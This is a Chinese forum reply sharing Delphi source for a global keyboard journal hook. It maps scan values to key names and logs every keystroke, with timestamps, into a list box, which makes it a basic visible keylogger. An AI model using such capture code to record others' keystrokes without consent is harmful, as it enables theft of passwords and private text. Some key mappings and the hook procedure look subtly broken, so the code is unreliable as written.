找到的一点,但因为周围没有相关的书和资料,不能给你好的解释.呵呵,这会儿也没时间.
不过,你可以参考这些键值了.出自jingtao.
unit Unit1;
interface
uses
; Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
; StdCtrls, ExtCtrls;
type
; TForm1 = class(TForm)
; ; ListBox1: TListBox;
; ; Button1: TButton;
; ; Button2: TButton;
; ; procedure FormCreate(Sender: TObject);
; ; procedure Button1Click(Sender: TObject);
; ; procedure Button2Click(Sender: TObject);
; private
; ; function Keyhookresult(lP: integer; wP: integer): pchar;
; ; { Private declarations }
; public
; ; { Public declarations }
; end;
var
; Form1: TForm1;
; hookkey: string;
; hooktimes: word;
; hHook: integer;
implementation
{$R *.DFM}
function TForm1.Keyhookresult(lP: integer; wP: integer): pchar;
begin
; result := '[Print Screen]';
; case lp of
; ; 10688: result := '`';
; ; 561: Result := '1';
; ; 818: result := '2';
; ; 1075: result := '3';
; ; 1332: result := '4';
; ; 1589: result := '5';
; ; 1846: result := '6';
; ; 2103: result := '7';
; ; 2360: result := '8';
; ; 2617: result := '9';
; ; 2864: result := '0';
; ; 3261: result := '-';
; ; 3515: result := '=';
; ; 4177: result := 'Q';
; ; 4439: result := 'W';
; ; 4677: result := 'E';
; ; 4946: result := 'R';
; ; 5204: result := 'T';
; ; 5465: result := 'Y';
; ; 5717: result := 'U';
; ; 5961: result := 'I';
; ; 6223: result := 'O';
; ; 6480: result := 'P';
; ; 6875: result := '[';
; ; 7133: result := ']';
; ; 11228: result := '/';
; ; 7745: result := 'A';
; ; 8019: result := 'S';
; ; 8260: result := 'D';
; ; 8518: result := 'F';
; ; 8775: result := 'G';
; ; 9032: result := 'H';
; ; 9290: result := 'J';
; ; 9547: result := 'K';
; ; 9804: result := 'L';
; ; 10170: result := ';';
; ; 10462: result := '''';
; ; 11354: result := 'Z';
; ; 11608: result := 'X';
; ; 11843: result := 'C';
; ; 12118: result := 'V';
; ; 12354: result := 'B';
; ; 12622: result := 'N';
; ; 12877: result := 'M';
; ; 13244: result := ',';
; ; 13502: result := '.';
; ; 13759: result := '/';
; ; 13840: result := '[Right-Shift]';
; ; 14624: result := '[Space]';
; ; 283: result := '[Esc]';
; ; 15216: result := '[F1]';
; ; 15473: result := '[F2]';
; ; 15730: result := '[F3]';
; ; 15987: result := '[F4]';
; ; 16244: result := '[F5]';
; ; 16501: result := '[F6]';
; ; 16758: result := '[F7]';
; ; 17015: result := '[F8]';
; ; 17272: result := '[F9]';
; ; 17529: result := '[F10]';
; ; 22394: result := '[F11]';
; ; 22651: result := '[F12]';
; ; 10768: Result := '[Left-Shift]';
; ; 14868: result := '[CapsLock]';
; ; 3592: result := '[Backspace]';
; ; 3849: result := '[Tab]';
; ; 7441:
; ; ; if wp > 30000 then
; ; ; ; result := '[Right-Ctrl]'
; ; ; else
; ; ; ; result := '[Left-Ctrl]';
; ; 13679: result := '[Num /]';
; ; 17808: result := '[NumLock]';
; ; 300: result := '[Print Screen]';
; ; 18065: result := '[Scroll Lock]';
; ; 17683: result := '[Pause]';
; ; 21088: result := '[Num0]';
; ; 21358: result := '[Num.]';
; ; 20321: result := '[Num1]';
; ; 20578: result := '[Num2]';
; ; 20835: result := '[Num3]';
; ; 19300: result := '[Num4]';
; ; 19557: result := '[Num5]';
; ; 19814: result := '[Num6]';
; ; 18279: result := '[Num7]';
; ; 18536: result := '[Num8]';
; ; 18793: result := '[Num9]';
; ; 19468: result := '[*5*]';
; ; 14186: result := '[Num *]';
; ; 19053: result := '[Num -]';
; ; 20075: result := '[Num +]';
; ; 21037: result := '[Insert]';
; ; 21294: result := '[Delete]';
; ; 18212: result := '[Home]';
; ; 20259: result := '[End]';
; ; 18721: result := '[PageUp]';
; ; 20770: result := '[PageDown]';
; ; 18470: result := '[UP]';
; ; 20520: result := '[DOWN]';
; ; 19237: result := '
';
; ; 19751: result := '
';
; ; 7181: result := '[Enter]';
; end;
end;
function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
begin
; if (peventmsg(lparam)^.message = WM_KEYDOWN) then
; ; hookkey := hookkey+ Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH);
; if length(hookkey) > 55 then
; ; begin
; ; ; ;Form1.ListBox1.Items.Add(hookkey);
; ; ; hookkey := TimeToStr(now) + ' ;';
; ; end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
; hooktimes := 0;
; hHook := 0;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
; inc(hooktimes);
; if hooktimes = 1 then
; ; begin
; ; ; hookkey := TimeToStr(now) + ' ;';
; ; ; hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);
; ; ; MessageBox(0, '键盘监视启动', '信息', MB_ICONINFORMATION + MB_OK);
; ; end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
; UnHookWindowsHookEx(hHook);
; hHook := 0;
; if hooktimes <> 0 then
; ; begin
; ; ; MessageBox(0, '键盘监视关闭', '信息', MB_ICONINFORMATION + MB_OK);
; ; end;
; hooktimes := 0;
end;
end.